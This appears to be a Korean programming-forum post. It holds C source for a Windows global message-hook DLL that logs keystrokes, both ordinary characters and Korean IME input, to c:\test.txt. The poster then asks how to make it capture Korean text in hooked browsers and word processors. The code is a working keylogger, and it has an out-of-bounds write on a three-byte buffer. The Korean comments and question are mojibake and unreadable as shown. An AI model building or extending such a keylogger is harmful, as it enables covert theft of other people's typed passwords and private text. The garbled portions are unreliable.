#include <windows.h>
#include <stdio.h>
#include <imm.h>
//°Á¸¸µçÇÔ¼ö
void FilePrint(char* filepath, LPCVOID lpstr, DWORD strlen) //(°æ·Î, ¹®ÀÚ¿Æ÷ÀÎÅÍ, ±æÀÌ)¹Þ¾Æ¼ ¸Þ¸ðÀå¿¡ ÀúÀå
{
HANDLE hFile;
DWORD dwWrite; // ÅØ½ºÆ®¸¦ ÀúÀåÇϱâÀ§ÇÑ º¯¼ö
hFile = CreateFile(filepath,
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, lpstr, strlen, &dwWrite, NULL);//&((MSG*)lp)->wParam
CloseHandle(hFile);
}
//dll º»Ã¼
__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
if(nCode < 0) return true;
static unsigned char Cstr[3] = {0,}; // Á¶ÇÕÁßÀÎ ¹®ÀÚ!!
int len;
HIMC m_hIMC=NULL; // IME ÇÚµé
switch (((MSG*)lp)->message)
{
case WM_IME_COMPOSITION: //ÇѱÛÀÔ·Â
{
m_hIMC = ImmGetContext(((MSG*)lp)->hwnd); // imeÇÚµéÀ» ¾ò´Â°Í
if (((MSG*)lp)->lParam & GCS_RESULTSTR)
{
if ((len = ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, NULL, 0)) > 0)
{
// ¿Ï¼ºµÈ ±ÛÀÚ°¡ ÀÖ´Ù.
ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len);
Cstr[3] = 0;
len = 0;
FilePrint("c:\\test.txt", Cstr, 2);
}
}
ImmReleaseContext(((MSG*)lp)->hwnd, m_hIMC); // IME ÇÚµé ¹Ýȯ!!
}
break;
case (long)WM_CHAR: //¿µ¹®¹Ø¼ýÀÚ ÀÔ·Â
{
if( 31 < ((MSG*)lp)->wParam && ((MSG*)lp)->wParam < 128)
{
FilePrint("c:\\test.txt", &((MSG*)lp)->wParam, 1);
}
}
break;
}
return true;
}
=====================================================================
Űº¸µå ÈÄÅ· °ü·ÃÇØ¼ Â¥°íÀÖ´Â dllÀÔ´Ï´Ù.(Àü¿ªÈÄÅ·)
±Ã±ÝÇÑ°Ô ¸î°¡Áö Àմµ¥¿ä.
((MSG*)lp)->wParam¿¡´Â À¯´ÏÄÚµå ¹®ÀÚ°¡ µé¾î¿À´Â°Í °°°í
ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len); ÀÌ ÇÔ¼ö¸¦ ¾²¸é
Cstr¿¡ ¸ÖƼ¹ÙÀÌÆ®Äڵ尡 µé¾î°¡´Â °Í °°Àºµ¥¿ä.
1.±×·³ ÇѱÛÀ» ¾µ ¶§ ImmGetCompositionStringÇÔ¼ö´Â m_hIMC¿¡ µé¾îÀÖ´Â Á¤º¸¸¦ ÅëÇØ¼
((MSG*)lp)->wParam¿¡ µé¾îÀÖ´Â À¯´ÏÄڵ带 ¸ÖƼ¹ÙÀÌÆ®·Î ¹Ù²ãÁִ°ǰ¡¿ä?
2.¸Þ¸ðÀå¿¡ ÀúÀå("c:\\test.txt")ÇÏ¸é ¸ÖÆ¼¹ÙÀÌÆ®Äڵ常 Çѱ۷ÎÇ¥½Ã °¡´ÉÇϰí ÇѱÛÀ¯´ÏÄÚµå´Â Ç¥½Ã¸¦ ¸øÇϴµ¥¿ä. ¸Þ¸ðÀå ÀÚü¸¦ Äڵ忡¼ À¯´ÏÄÚµåÀÎÄÚµù Çü½ÄÀ¸·Î ÀúÀåÇÒ ¼ö ÀÖÀ»±î¿ä? ±×¸®°í ±×·¯¸é ÇѱÛÀ¯´ÏÄڵ尡 Ç¥½ÃµÉ±î¿ä?
3.(°¡Àå ±Ã±ÝÇѰÅ..)ÀÌ ÈÄÅ· ÇÁ·Î±×·¥À» ½ÇÇàÇÏ°í ´Ù¸¥ (ÈÄÅ·µÈ)¸Þ¸ðÀå¿¡¼ ±Û¾¾¸¦ ¾²¸é ÇѱÛ,¿µ¹®,¼ýÀÚ ´Ù ÀԷµǼ ¸Þ¸ðÀå("c:\\test.txt")¿¡ Àß ÀúÀåµË´Ï´Ù. ±×·±µ¥ (ÈÄÅ·µÈ)ÀÎÅͳÝÀ̳ª (ÈÄÅ·µÈ)¾Æ·¡ÇÑ±Û °°Àº µ¥¼´Â ¿µ¹®,¼ýÀÚ´Â Àß ÀúÀåµÇ´Âµ¥ ÇѱÛÀº ¾ÈµË´Ï´Ù. ¿Ö±×·²±î¿ä?
»ýÃʺ¸¶ó ¹°¾îº¼°÷µµ ¾ø°í, ¸ô¶ó¼ ÁöÃľ²·¯Áö°Ù½À´Ï´Ù.¤Ì¤Ì
¿©À¯·Î¿ì½Å °í¼ö´ÔµéÀÇ °¡¸£Ä§À» ºÎʵ叱°Ô¿ä.
|